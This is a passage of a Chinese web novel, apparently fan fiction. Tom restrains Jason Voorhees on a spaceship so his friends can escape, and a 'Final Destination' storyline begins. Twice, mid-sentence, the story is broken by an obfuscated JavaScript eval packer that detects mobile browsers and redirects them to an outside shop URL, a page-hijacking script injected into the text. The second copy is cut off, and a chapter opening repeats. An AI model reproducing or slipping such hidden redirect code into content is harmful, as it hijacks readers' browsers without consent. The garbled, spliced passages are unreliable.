珍妮莎和机器人轻松离开,唯独森纳朗经过门时,袖子被勾住,传来牵扯的阻力。他用力一挣,步伐不停,听凭撕裂声在身后响起。最后离开的萝文还保持镇定,出门前,朝汤姆指了指耳朵。 汤姆摸了摸那里的通话设备,明白她示意:耳麦联系,心里有点安慰。这群人不算彻底抛下他。 忽地,汤姆感到自己的身体摇动,每晃一下,离门口近一步。 杰森要追上去。拎着自己追上去!?汤姆又慌又恼,赶踢他好几脚,落到腰上、大腿上,硬邦邦得跟踹铁壁没两样! “停下!快停下!”汤姆呵着,猛然感到一阵失重,接着对上杰森黑黢黢的眼珠子。 杰森抓着汤姆的肩膀,把人提溜起,也不说话,木头似的看着。这幅沉默的姿态有种熟悉感。 汤姆发现自己并不害怕,至少没有想象中的那样怕。他呼吸平稳地回以注视。 没有尸体,没有鲜血,没有死亡,只有对视的彼此。这是回到现实以来,汤姆第一次不带惊慌的、冷静的观察杰森。 结果不赖。他在那双眼珠中观察到熟悉的东西,熟悉到他简直不敢相信。那种眼神只有最后一个周目的杰森才有。 至于前几个周目的杰森?怎么可能!哪次撞上,杰森不是在追杀他?每次都要不了多久,刀光就追上来,咔嚓一声,小命呜呼啦。 “杰森,你是不是有游戏的记忆?”汤姆反应过来这话不对,不该这么说。“你记得吗?你小时候溺水,是我救了你。我们一起长大。” 他询问着,又颇觉荒诞。他玩的游戏竟然是四百年前的现实世界? 杰森默然不语。汤姆知道他听懂了,只是拒绝回复。游戏里的杰森不愿说话,就会如同个石柱,沉闷不言。而汤姆总有法子撬开他的口。 他那时如何应对呢?撒泼打滚,威胁命令,甚至摆出委屈的面容,泫然欲泣,最后一招屡试不爽,杰森从没在眼泪下撑过一分钟。但是,如今不是游戏,他和杰森也是四百年来第一次见面。 汤姆于是话锋一转:“放我下来。” 杰森歪过头,盯了他好一会儿,才轻轻把他放下。 汤姆站好,脚在实心的地板上踩了踩,比起凌空,还是这感觉踏实。汤姆看向杰森,要拖住他。汤姆想出个理由。“走,去食堂。我饿了。”他说,让杰森跟他走。 杰森在身后走着,投到地面的影子把汤姆覆住。走了几步,汤姆忽然发现影子消失了,转头看人举刀站在休眠仓前。 汤姆吓得差点尖叫,柏斯基在那里呀!他呵着住手跑来,抓起杰森的手,连拉带扯把人拖出门。 因为担心杰森又悄悄跑去干什么,汤姆没敢松手,一路上,步履如风,大踏步拉着杰森走。绕过好几条走廊和自动门,离食堂很近了,几十米不到。 汤姆这才放缓脚步。从埋头奔走的状态脱离,汤姆察觉到一个奇怪的点。杰森那么大块头,还披盔戴甲,拉起来却很轻松。 汤姆不禁嘀咕,“我还以为拉你会很累。” 没想到杰森立时停下来。汤姆没收住脚,马上感到仿佛抓了个几吨巨重无比的铁疙瘩。他一下后跌,脑袋撞上杰森的胸膛,没来得及呼痛,汤姆见自己又凌空了。杰森把他自腋下抱起。 汤姆以为杰森要动手,要把他摔出去,赶忙抱紧杰森的手臂,挣扎着骂他,踹他。杰森便没动了,仍由亮锃锃的钢躯上显出几个灰扑扑的脚印。 扑腾一番后,汤姆累得满头大汗。见他没力气,杰森才把人放上肩膀。 汤姆不由愣住了。“你干什么?” 杰森扭头看他,生疏地对他比了个手势。[不累。] “......傻子。”一阵沉默后,汤姆觉得好笑又无奈。怎么四百年后还是傻子一个。他心想。 杰森默不吭声地走,对这句话没有任何辩驳。 “喂,谁教你的姿势?”汤姆拍他的脑袋,“小心我摔下去。这么高,得骨折呢!”他抱怨。 杰森终于有所反应,大掌掐上他的腰和臀,换来汤姆一记狠抽脑壳。 “摸——嘶摸哪里呢!”痛痛痛!汤姆瞧着自己发红发麻的掌心,泪眼汪汪地问。 杰森转抓汤姆的大腿。汤姆纠结了下,觉得好歹比抓屁股体面,便没反对,只催他走快点。这肩膀真由钢铁做的,硬得硌人。 很快抵达食堂。门只有两米出头,汤姆急急叫住杰森,调整了下姿势,抓住杰森的肩,俯下身,免得撞上门框。 进门后,汤姆责怪他:“我不叫停下,你是不是就直愣愣走进来?打算撞死我吗!” 杰森把汤姆放在凳子上,微微低头,两手握着刀,不说话。 汤姆又骂他几句,发完脾气,鼻子嗅到食物的气息。食堂没人,早被杀光。速食都摆在橱柜里,一览无余。 “给我拿个三明——”汤姆话音卡住,一个主意冒上心头。他盯着杰森说:“我不想吃这些。我要鱼汤,还有蓝莓派。” 杰森看着汤姆。面具空出了两窟窿,眼珠不转,直直凝视着,却彷如茫然。 “你不会?”汤姆惊诧地问。 杰森安静地站立片刻,旋身走开,转了一圈找到厨房。他钻进门,汤姆跟上。 因为在杰森的眼睛里找到熟悉感,汤姆以为自己通过游戏回到了四百年前。可越看杰森做饭的姿势,他越不确定这点。杰森可是做饭的好手。 可是眼前这个呢?动作生涩,僵硬,对火炉铁锅如临大敌。尽管看不到杰森的表情,但他的手忙脚乱已经透露个干净。汤姆神情愈发沉重。 最后,杰森端出来的菜惨不忍睹。发焦的鱼块浮在汤上,腥气扑鼻;蓝莓派黑里透黄,一股烧烂的糊味,咬下去把牙齿蹦得咯咯响。 所有的情绪都在尝了一口后奔泻。呜难吃死了!汤姆眨了下眼,泪水留至下巴。 杰森匆匆蹲下身,举起手,在空中无处安放。换成游戏里的那位,早熟练揩拭眼泪。 “傻瓜,你这个时候,要帮我擦掉眼泪啊。”不管眼前这个杰森是谁,大家要逃出去,汤姆都得拖住他。 杰森小心翼翼帮他擦眼泪,和记忆中带着厚茧的触感不同,指腹不再粗糙,冰冷冷的,光滑平整。但那种谨慎如对珍宝的态度,汤姆恍惚以为他们就是一个人。 或许本质上,他们都是杰森,但汤姆之前真的有为水晶湖畔一起长大的伙伴,来到现实而感到高兴。 “我们在水晶湖的生活,你记得吧——你杀我那几次呢?” “回答我。” 在汤姆的目光里,想要保持沉默太难了。杰森点头。 “那你真的见过我吗?” 杰森摇摇头,慢慢地做手势[一个很长的梦。你出现。然后都是你。] “所以你才不杀我?” [不杀!]杰森比划的幅度都大了些。 “只是个梦,你就不杀我?” 杰森不高兴扭头,隔了一会儿,他转回来,[你,不杀!心、跳,比溺水难受。]他似乎开始熟悉用手比划,速度快了不少。[杀别人!] 他嘭地一声撞翻板凳,站起身,扭头便跑。汤姆的心吓到嗓子眼。“给我回来!” “把凳子扶起来,坐下。”汤姆说。杰森照做后,汤姆指着桌上毫无食欲的饭菜,命令道,“吃。” 才发完话,汤姆注意到杰森整张脸都覆着面具,嘴巴处只有几个孔隙。而具缘延伸出的指姆粗的钢条,紧扣入后脑勺的皮肉,不像能取下来的样子。 “算——”汤姆的话还没说完,就见杰森已端起碗,下半张脸的面具裂开,露出满嘴钢牙,舌头也泛着银光。 汤姆静静看着杰森。期间,耳麦传出同伴的动静。他们尝试开启逃生飞船。但因为弃置已久,需要去主甲板重新链接,并准备从六号跟七号室输送燃料。 “加油!再坚持一会儿。我们搞定飞船,就来救你。” “照顾好你们自己吧。”汤姆说完,看杰森抬头盯着自己。“吃完了?”他眼神斜去,杰森默默埋下头,继续一口一口地喝鱼汤,面不改色。 杰森本可以一口灌进嘴巴,因他不惧高温,不怕呛住。然而,它们是汤姆给他的东西。 等他吃完,汤姆已经打了个几个哈欠。杰森吃得慢,他没催,能拖一点时间是一点。不过人既然吃完了,汤姆也不委屈自己,拉起杰森,离开食堂。 “我困了,走,找个房间休息。”汤姆说。他当然不会睡觉,只是找个有软坐垫的地方。 中途还和威兰德撞上。威兰德拔腿就跑,杰森也拎刀要追。汤姆把人按住,拖走,“别耽搁。你要困死我吗!”他凶道。 杰森扭头,目送威兰德不见身影,再看向汤姆,像只小狗一样伤心。 汤姆假装没注意,带着杰森进了自己的舱房。房间内没有变化,和他几个小时前听到警报,匆匆离开前一模一样。外面却翻天覆地,血腥味充溢,死了超半数的人,尸体能塞半间屋。 汤姆突然间生气起来。罪魁祸首就在他身边!“拿好。”他朝杰森砸去一本书,“我要听故事。比划给我看。” 杰森翻开它,瞪着书,眼珠都要瞪出来。 汤姆猜他只有识字的记忆,并没学过、用过,所以一下子看这么多字,陷入手足无措。 杰森磕磕绊绊地比划,两手在空中瞎挥。如果他有头发,只怕现在也被揪个干净。 汤姆看不下去了,向杰森演示正确的手法。对他来说,今天才用过手语,尽管是在游戏里。“这处手势这样比。” 杰森回了个迷茫的眼神。汤姆便抓着他的手指,一根根纠正,可一放开,杰森又成了那副不懂、只晓得睁眼睛看人的模样,仿佛方才的教学根本不存在。手语知识飞快的过了一趟大脑,生怕留下痕迹似的,迅捷跑开。 耍刀时明明那么利索,那么顺溜!换成打手语,立马慌手慌脚。就是学不会! “你无可救药了!笨蛋!”汤姆气呼呼道,把人推开,自己去窗边坐着眼不见为净。盯着窗外出神了几秒,他心平气和,冷静下来,不信教不会了! 但回过头,房间不见第二个身影。汤姆顿时慌了,这才记起来自己的任务是看住杰森,不是给人当老师。 汤姆按住耳麦急促道:“小心!杰森不见了!” 他边说边跑出房,步履如风,满飞船乱逛,感觉自己就是一只无头苍蝇。生气又没办法。亏自己还说杰森是笨蛋。现在好了,他才成了那个看丢人的笨蛋! “杰森,你在哪儿?你要是现在出来,我就道歉,不该说你是笨蛋。” “出来吧,我刚刚不是故意骂你,对不起。我以后不骂了。” “杰森?杰森!” “——可恶。你个彻头彻尾的笨蛋!傻子!有本事找个没人的地方躲一辈子啊。” 随着时间流逝,汤姆越来越担心发生流血事件。幸好耳麦暂无动静。可他又想到有警卫队员来不及呼救就丧命,不由把嘴唇抿得死白。心脏砰砰,下一秒跳出胸膛也不意外。 汤姆狠狠地咬牙。错开一眼这家伙就跑没影了!抓住后,必须把他脖子给拴起来! 倏忽一道声音响起。在汤姆听来,宛如天籁。 “杰、杰森在我这儿。”金莎哭道。 汤姆赶快说:“把声音外放,金莎。放心,我能拖住他,你只要找机会跑。” 金莎蜷缩在墙角,手抖了好几次,才颤巍巍地按准外放键。 室内顿时响起汤姆的声音。“杰森,停下。” 杰森停步,茫然四望。“给我站在原地,别动。你们在哪儿?” “6号啊——”金莎猛地往旁边蹬腿,疯狂地要远离凑上来的杰森。“滚开!滚——别靠近我呜呜呜。” “杰森,别动!我叫你别动。你不听话!你为什么不听话!”汤姆忽地灵光一闪,“金沙,把耳麦丢出去。小心,别丢太——” “哐当——” 汤姆听着麦里的电流声,杂音滋滋。天哪,希望耳麦没摔坏。他一把摘下耳麦放在嘴边,冲它高喊,并加快脚步。得快点前往6号室。 “杰森。过来,听我说话。” 金莎见杰森亦步亦趋走去耳麦的落地点,抱着刀,庞然巨物般的身体蹲下,也不碰耳麦,朝前倾,歪着脑袋听。 有一瞬间,她被嫉妒充塞心脏。为什么她担惊受怕,汤姆却能对怪物大呼小叫!好不公平!金莎抹了把掉得更厉害的眼泪,好一会儿,她才想起来要逃命。 金莎小心地观察杰森,觉得他应该没工夫理自己,便轻手轻脚,弓着腰站起。 就在此时,耳蜗迸入一记破空之音。随后金沙感到腰间一紧,柏斯基猝然出现扑倒了她。 天旋地转间,金莎看到原来站立的位置深深插入长刀,后背阵阵发冷。要不是柏斯基,她就没命了!拦腰断成两截! 一想到这个场景,金莎腿软极了,柏斯基有力的胳膊拽起她。但中士也不敢轻举妄动。 杰森蹲在耳麦旁,正注视他们。似乎只要他们一动,杰森便会冲上来。 直面冷酷残忍的怪物,金莎忍不住发抖,想到自己差点死了,她恨汤姆骗人,又期望他快点出现。 最后是汤姆找来,把杰森拉走。杰森临走前不忘取下刀。 柏斯基看见砍刀竟然洞穿了墙壁。幸好另一边是房间,要是外太空,他简直不敢想飞船会发什么。 “你乱跑什么!我很生气你知不知道!?”汤姆怒火高涨,把步子踏得邦邦响。 杰森无措地望着汤姆。 “看什么看,不服气吗!” 杰森低下视线,用另一只没被汤姆拽住的手比划[我错……] “你竟然对我指指点点!?” 杰森的手楞在空中,整个人一下子不知所措,如有乌云遮来,全身的钢都变得灰扑扑,眼底委屈得不行。 汤姆现在仍十分后怕,再晚到会儿,只怕能见到柏斯基他们的尸体了。想到杰森差点杀人,汤姆气得满船舱乱进,直到找到一根粗绳,把它套上杰森的脖子上,另一端则在掌心缠了几圈握住。 大功告成!汤姆对杰森宣布:“看你还怎么玩消失!” 杰森低头瞅着绳子,又抬头看看汤姆手心的绳索,眼珠子亮起,头上的阴云倏地消失,浑身金属亮闪闪的。高兴! 又过了半小时。 耳麦终于传来动静,“汤姆!救生船准备好了。快!甩开杰森过来。” 闻言,汤姆也激动不已,他深吸几口气才按捺跃动的心脏。还有个大麻烦呢!不要掉以轻心。 事实证明,汤姆的想法完全正确。杰森跟影子似的甩不掉! 不管是命令,威胁,恐吓,每次汤姆快要到逃生飞船,还没汇合,杰森紧接着就出现了。 三番五次下来,金莎害怕的眼泪都要流干了。威兰德一听汤姆要到了,条件反射地问:“杰森呢?” 没办法,汤姆找了铁链,用了好几根,把杰森脖子和手脚通通拴起来,跟几个宽的铁柱拴在一起。结果,只撑到汤姆和大伙们对视一眼,杰森照旧出现,屁用没有! 反倒让好友们因杰森身上的铁链,看汤姆的眼神都不对劲了。 “收起你们的蠢样。不锁他,我怎么过来!” “呵,说得像它有用一样。”金莎说。 这次的失败,柏斯基总结靠汤姆一个人不行。萝文建议他们得行动起来,帮助汤姆困住杰森。森纳朗想出个好办法—— 用虚拟设备!虚造出一个场景牵制杰森。 他们决定采用3号室。那里地盘大,开启环境虚拟化后,够困住杰森一段时间。森纳朗还特意把虚拟连接到终端手环上,以便时刻得知杰森的情况。 待一切准备就绪,汤姆把杰森引过去。 萝文他们都出来帮忙,逃生舱只留下金莎和珍妮莎。金莎坐在操作位上,珍妮莎则走来走去,提心吊胆地听着行动进展,好几次紧张得喘不上气。她生怕出意外,焦急踱步,不自觉走到廊间张望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764430|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 直到听见耳麦传出计划成功的消息,她猛地呼出一大口气,才发现自己竟然屏住了呼吸,满脸涨红。 “成功了!金莎你听到了吗!”她激动地喊,“汤姆终于可以来了!”转过头,却差点被骤然关闭的舱门夹住鼻子。 “开门。你操作错了!”珍妮莎拍门高呼。 然而大门纹丝不动,唯有哭泣声穿过钢铁,让珍妮莎越听心越发冷。 身后响起脚步声,珍妮莎警惕转身看去,发现是萝文。她松了口气,见萝文疑惑,解释道:“金沙不肯开门,她崩溃了。” 珍妮莎无奈地摊手,下一刻,她发狠捶打门,发了狂地叫:“现在可不是时候啊!” “珍妮莎好好说,让我来。”萝文柔声劝道,“金莎,我是萝文,请你开门。” “不要。” “别担心,我们困住杰森了。你只要把门打开,人人都会回家。” “不行。” “妈的开门。” 萝文忍不住怒火了,金莎含泪更害怕了,不敢回复,一声不吭。 这时,森纳朗、金凯、柏斯基和威兰德都赶到了,汤姆也走过来。珍妮莎说:“金莎,你快开门啊,大家都到了,你要让我们死在这里吗?” 这话一出,大家当即明白发生了什么。每个人的脑袋气得要冒烟,只得耐住火气,好声好气劝人。 金莎只问了一句:“汤姆来了?” 汤姆从语气中感觉不对劲,便没做声。只有威兰德连声道:“到了!他到了!汤姆你说话呀!” 珍妮莎制止道:“不,别刺激金莎。她听汤姆要来,就把门关上了。” 汤姆脸色一变。威兰德纳闷,“为什么?汤姆来了不好吗,他会阻止杰森。” 珍妮莎和萝文耸耸肩,她们怎么知道金莎的想法。 威兰德便提高了声音,“金莎。你之前撞上杰森,不就是汤姆救了你?” 金沙尖叫着回复:“不——不是!杰森差点杀了我,是中士救的我!跟那个骗子没关系。”她泣不成声,“汤姆来了,杰森还会远吗!?每次都是这样,你们还不明白吗!杰森是跟着汤姆来的。就是他才招惹来的怪物。都怪他!” 萝文没理睬乱七八糟的话,直接抓准关键词。“你说柏斯基救了你,可现在他也跟我们一样,杵在外头。你就这么感谢他?” 金莎气焰削下去,“这个呃……” “还有我!还有我!”威兰德跳出来。“金沙,之前在二号实验室,杰森闯进来,要不是我,你也早死了。要早知道你这么个感激法,我还不如好好躲着!” “我,我……” “好了,金莎,我们理解你。你就是太害怕了对不对?很正常,人惊慌之下,当然会想要自保。”珍妮莎说。 萝文也跟着劝。她们能感觉到金莎被说动了。 正在这个关头森纳朗手腕的终端响了。等他抬起头,表情变得难看。“不好,杰森出来了。” “轰轰——”发动机运作,声音震耳欲聋。 众人眼睁睁看飞船将要起飞。珍妮莎瞄到门旁的显示表,突然放声大叫,“等等,金莎!停下!燃料线还连着。停下!” 然而,晚了。 轰隆轰隆。更加震破人耳的爆炸巨响传来,刹那间,整条走廊振荡,灯光忽明忽暗,满天尘屑,众人东歪西倒,跌落地面。 隔了半晌,震动才平息。众人爬起来,无神地站着,空气死寂。 汤姆耳边犹如残留了爆炸的声音,耳鸣不已,但他只迷茫地问:“金莎因为我不肯开门?是我招惹来的杰森?” “□□的,别自作多情。发现杰森的是我们好不好!关你屁事。”威兰德说。 “是的,别多想,汤姆。金莎太害怕杰森,吓糊涂了。”珍妮莎强忍悲痛,安慰汤姆。她觉得金莎的迁怒毫无道理,不愿意见汤姆伤心。“你保护着我们呢。” “没错,没有你我们早死了。”森纳朗说,“振作起来!现在我们又得靠你了,汤姆。麻烦你再拖住杰森。” “……好。”汤姆答应道。可到底有什么不一样了。 他心情低沉,走到拐角,看到了杰森。汤姆没有多看他一眼,擦肩而过,“走吧。”走了几步,发现杰森没跟上,他头也没回,“滚过来。” 砰砰几声脚步,杰森的影子立刻出现在脚下。 接下来的时间,汤姆不住地看着杰森思索。杰森在他的目光下,坐得端正,脊背直挺挺的。 汤姆听到森纳朗他们又找到了逃生的法子,鼓励自己再坚持会儿,可汤姆心底已经没有一开始的期待感了。 又过了一段时间。他们兴冲冲地告诉汤姆,好了!好了! “快,咱们再用之前的办法,拖住杰森,你赶过来……”威兰德说了一堆话,耳麦那侧不闻声息。他有些慌张,“喂?汤姆听到我说话吗?不会出事儿了吧!” 汤姆这才出声:“杰森要是又跟上来了?” “跟就跟呗,有你在。你牵制住杰森,轻轻松松啦。” 是啊,他能牵制住杰森。汤姆终于下定了决心:“你们走吧。” “哈!?”多个声线的惊诧声传来。 森纳朗抢过麦,“你在说什么?快上来,飞船要启动了。” “不用了。我留下来,和杰森待在一起。这样对所有人都好。” “你怎么会这么想!” “你们害怕他,逃离他,是因为他要杀害你们。可他不会杀我。” “别他妈做梦。那可是个怪物!杀人狂!谁知道他哪天发疯,会不会把你砍了!” 汤姆笑出声,“让他杀喽。只要在这以前,我能阻止他杀人,哪怕一个,我也赚翻了好吧!” 他们一时说不出话,听出了汤姆的坚决。珍妮莎带着泣音的腔调打破沉默,“我们回去后会找军队来救你!” “最好别。会死更多的人吧。或者来几个导弹,把我两炸死?这样也不错。就怕怪物复活,汤姆白死。但……”汤姆轻声道,“谢谢你,珍妮莎。” 萝文问:“飞船受损,撑不了多久。你要怎么办?” “修不好,我们就换个新飞船。” 萝文说:“燃料和食物呢?它们都是消耗品,用完了,又没钱买,到那时你要饿死自己吗?” 威兰德插话:“对啊对啊,有钱吗你?还换飞船!把你卖个百千次,都凑不齐飞船外铁皮的修理费。” “这不是有杰森。看看杰森手里的砍刀,再凶神恶煞的人来了,都会善良又助人为乐。” “汤姆。”柏斯基不赞成道。 “开个玩笑。好啦,我打算找个荒星定居。飞船还有些工具,包括防护服、土壤改良药剂……” 柏斯基静静听他说完,道:“你等下。” 汤姆就听左手腕的终端手环振动,点开一看,账户转入笔惊人的巨款。竟然足够他买下整个飞船,还有富余。 柏斯基差不多交出了积蓄。“柏斯基,你犯什么傻。全给我,你怎么办?” "我是中士,有工作,薪资不菲,总能赚回来。"柏斯基说。 这时,又是几下振荡。一笔又一笔的钱打进来,汤姆看到自己的余额很快膨胀到惊人的数额,震惊得嗓子失声。 “你应得的,汤姆。我这一命很值钱好吧?”威兰德说。 珍妮莎说:“既然你打算和杰森生活,我们不会透露他的存在。反正除了我们,没人相信杰森活着。” 森纳朗接上她的话,“你可得看好杰森。要是有杰森现身杀人的新闻,我们只能和军队揭发。” 萝文说:“如果你受不了杰森,告诉我,我一定来救你。” 汤姆几乎要热泪盈眶,“不用。你们顾好自己,死了这么多人,军队和政府少不了盘问。” 威兰德哈哈大笑:“简单!到时候就说飞船遭遇袭击,强盗把飞船洗劫一空,搞得我们成了穷鬼!还有个基佬强盗,看上你,要抢你去做夫人。”他故作悲伤。“为了我们,汤姆只好英勇献身。” 汤姆的感动荡然无存。“滚。威兰德,你赶紧给我滚。” 大家又闲聊几句。他们都知道这很可能是最后一次通话。再不舍,飞船终究会起飞。 通讯挂断了。耳麦在断断续续的滋滋声后,尖锐地长滴一声,彻底没音。 再见了。汤姆心想,转头见杰森一眨不眨地看着自己。 “听到我们说话了?” 杰森点点头,道:[我不会伤害你!] 汤姆说:“姑且信你喽。” [嗯!我只杀……] “不准!” 杰森不说话了。片刻后,汤姆对他说:“所以你愿意和我去荒星一起生活吗?” 杰森再次点头,样子郑重其事极了。 43.死神来了1 【影片:《死神来了》 介绍:因预知能力而避开灾难的幸存者们被死神盯上,按照原定的死亡顺序,以各种离奇的方式猎杀。】 1970年,汤姆出生。 在他五岁夏日的某天,姨妈安娜放他进装满水的塑料桶,正嬉闹时,一个金发女人突然找上门。 对方略过开门的父亲,紧盯陪汤姆玩乐的姨妈,一字一顿道:“你要死了。” 姨妈愣神,下一秒面颊发凉。盛夏时节,微冷的湿意本该使人舒畅,她却心头猛跳,摸上脸,触到冰冷刺骨的水珠。 汤姆心虚地别过头,两只方才拍打水面的小胖手扭捏着揣在身后。“对不起……” 这声稚嫩的道歉换回安娜的意识,她正要说什么,厨房内听到陌生女人话的母亲安妮已关好炉火,手执锅铲冲出来。她显然勃然大怒,“闭嘴,女士。你知道自己在说什么?” 安妮的厉声呵斥只是让金发女人转向她,“你也会死。不过得等很久。”她很平静,犹如在谈论的事无关生死,“在我之后,死神的下一个目标才是你。” “你!”安妮骇然后退了几步。 铁铲砰的一声坠地,在光滑的瓷砖上刺啦滑行了几米。汤姆看得咯咯笑。他感到有趣,撑着桶边要站起,使劲伸手去抓。父亲啪的按住他的脑袋,把人怼进桶里坐好。汤姆不高兴,哼唧着旋过身体背对众人。 安妮认定她就是个疯子,尽说癫狂胡话。她强压着心头不安的躁意,叫丈夫把疯女人赶出去。 姨妈拉住了她,“等一下,”目光犹疑地打量陌生女人。“你是谁?我总觉得有点眼熟。” “不记得我了?”金发女人轻声地给出提示,“七年前,空中餐厅。” 七年前,也就是1968年。当时西雅图提前竣工的空中餐厅“天空之景”,举办了一场盛大的开业仪式,邀请上百人参加。 然而盛宴中途,有人跳出来,声称建筑即将倒塌。惊奇的是,人们果真发现了一系列安全隐患:地面玻璃的裂缝,不稳固的钢筋支撑,摇摇欲坠的难以合上门的电梯…… 餐厅自此封存,直到拆除也未投入运营。 安娜愕然叫道:“是你——”当初那名发出预言般警示的人,“艾瑞丝。” “很高兴你还记得我。”艾瑞丝微微一笑,从袖口掏出一叠照片。 姨妈接过,越看手抖得越厉害。父母好奇地凑过去。目光落在照片上,他们瞪大眼睛。 照片是新闻报道与现场尸体。艾瑞丝在上贴心得备注了主人公信息,男女老少,所有人的共通点在于他们全是1968年“天空之景”开业仪式的参与者。其中好几人,安娜还和他们在宴会上跳过舞、说过话。 而安妮因为恐高,开业当日选择留在大堂,没和安娜一起乘电梯去空中餐厅。 “这七年来,死神从未离开。每个幸存者都按照原定的死亡轨迹被他逐一找上门。”稍作停顿后,艾瑞丝坚定地说,“现在轮到你了。” 她看向安娜的视线,温柔、平和,安娜却脸色骤然惨白,神情痛苦,活像被尖刀捅肚,她迸发出一声尖叫,锐利而刺耳,汤姆跟着哇的一声落泪。 父亲慌忙抱起他,哗啦的水花从桶内溅出,衣服顿时湿了一大块。他扯来毛巾裹住还在往下滴水的汤姆,地板已有不小的水渍。 小孩脸薄,才一会儿,就哭得小脸通红。父亲抽纸抹他鼻涕四流的脸蛋,还拍他肩膀,掐细了粗嗓连声哄着。 在泪眼模糊中,汤姆瞧见姨妈挨着母亲痛哭,如同婴儿般蜷缩在母亲怀里。 那是汤姆对姨妈最后的印象—— 一个得知死讯后的绝望女人。 那之后没多久,姨妈死了,死因是厨房失火与重物击打。警察根据现场残骸进行还原,得出事发经过的第一瞬间,冷汗冒出额头。见惯了凶案的他们久违地后背发凉。 姨妈先是撞到料理台上的油瓶,橄榄油倾洒而出,燃气灶台面和地面无一幸免。接着在收拾中,她一脚踩上玻璃,碎片穿透脚掌,人往后跌,撞翻了灶台的锅,挣扎着起身时误碰点火开关,顺着油迹,火焰瞬间蔓延,吞噬了姨妈。 太巧了。犹如有一双无形的大手,将无数的巧合聚拢,导出这令人胆寒的事故。 艾瑞丝称祂为死神。 姨妈死后,父母离婚。母亲另找了男友,带着汤姆搬去新家,就在艾瑞丝一家隔壁。 安妮担心死亡。她以及儿子汤姆的生命难道只能眼睁睁看着死神来夺走吗? 艾瑞丝宽慰道:“别担心。在预知梦里,我死前,看到一块钢筋向你砸来。按照顺序,你们在我之后。只要我没死,就轮不到你们。我会尽可能地活着,让死神那家伙滚蛋。”最后她发出冷笑。 “……不,如果真轮到我呢?”安妮喃喃,接着她下定了某种决心,乞求艾瑞丝,请她教导自己和汤姆,让他们学会从蛛丝马迹中,看穿死神耍的把戏。 艾瑞丝爽快地答应了。她愿意将自己的经验悉数传出。 第一天上课前,汤姆好奇地问:“死神真的存在吗?” “当然。我和他斗了好几年,试图救下那些人,可惜……”艾瑞丝神情黯然,很快她走出消沉,面庞又焕发出光彩,“我还有家人,保罗和两个孩子。不管怎样,那家伙别想让我屈服。未来几年、几十年,我会斗到底!” 她忽然鼓励地看来,“小汤姆你也是。倘若有一天,你要直面死亡,别害怕。死神只会耍小把戏,一切都有迹可循。” 接下来,艾瑞丝告诉汤姆,一枚硬币在死神的操弄下,如何引发一系列意外而导致死亡。她翻开厚厚的写满笔迹的牛皮本,上面记载了迄今为止‘天空之景’幸存者的死亡。她逐个教导。 “小心突然刮起来的风,它很可能昭示死神的到来。告诉你得打起精神了,那混蛋要下手了。” “注意看到的、听到的一切,像数字180、13,往往预示你在走一条找死的路。所以看到它们,无论你在做什么,停下!” “1968年,我们在大堂和餐厅内,听到关于燃烧、坠落的歌,后来都应验了:餐厅起火,建筑垮塌。除了坠落,我们无处可逃。” “还有别人说的话,这也可能昭示死亡。空中餐厅的一名侍者曾说,‘你让我很为难(You’re tearing me apart.)’,最后逃生时,他被电梯卡住,撕裂成两瓣。” 汤姆听着听着,一股纯粹的恐惧油然而生,死死纠缠住他。有什么看不见的令人绝望的东西从四面八方涌来,淹没他,吞噬他。快喘不上气来了! 他的身体僵硬,一如硬木板,被艾瑞丝担忧地轻轻一碰,再也撑不住,嘴巴一撇,眼泪夺眶而出。 他哭惨了,上气不接下气。每听艾瑞丝上一次课,他会连做几晚的噩梦,小脸憔悴,一点风吹的动静都叫人害怕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从那一刻起,艾瑞丝想,不会再有事更让她心碎了。所以眼下汤姆提到他们,艾瑞丝只笑了笑,“我现在想明白了,我不该拘束孩子们。只要我活得好好的,他们自然不会有事。” 汤姆意识到她将要说一件重大的决定。过了一会儿,他听到艾瑞丝用她温柔的嗓音说:“我会找个地方,独自生活。” 汤姆第一反应是劝她:“不行。你一个人怎么行。死神他……” “放心,还有威廉。他现在是名验尸官,他会帮助我的。你好好上学。”艾瑞丝说,“别以为你母亲去旅游,你就可以放纵了。安妮叫我看管你呢。” 威廉是空中餐厅驻唱女歌手的儿子,女歌手已经在几年前死去。按照死亡顺序,如今‘天空之景’事故的幸存者只剩下艾瑞丝一家、威廉和汤姆一家。 而母亲安妮跟着艾瑞丝学习时,不知怎的,她突然醒悟,人生既然迟早都会死,不如趁着艾瑞丝还在,她尽情享受去,便跑世界各地探险去了。隔几个月给汤姆和艾瑞丝寄明信片和礼物。 艾瑞丝又好气又好笑。汤姆还问她,照片上挨着安妮的男人们是谁。“你母亲的新男友。”艾瑞丝每次都这么回复。 后来,艾瑞丝还是一个人离开了。她找了处远离城市和人群的荒郊,在威廉的帮助下,建了一栋小屋。从那以后,她再也没出来。 几年过去了,汤姆读大学。他找到一家公司,在销售部实习,认识了一对好兄弟,皮特和萨姆。 44.死神来了2 几年过去了,汤姆读大学。他找到一家公司,在销售部实习,认识了一对好兄弟,皮特和萨姆。 两人都是皮相出色的年轻小伙。皮特·弗里金率性风趣,长得有几分像好莱坞男星Tom Cruise,粗黑利眉下是深邃多情的双目,自信与热忱从不吝啬在这张英俊的面庞上显露;萨姆·罗登性情温和,身体细长,一头利落短发,面庞修整光洁,有这个年纪的男人少有的羞涩与少年气。 这都给汤姆留下了深刻印象。不过萨姆有交往几年的金发女友,莫丽·海柏。两人在同一个部门,时不时能看到他们相伴而行的身影。 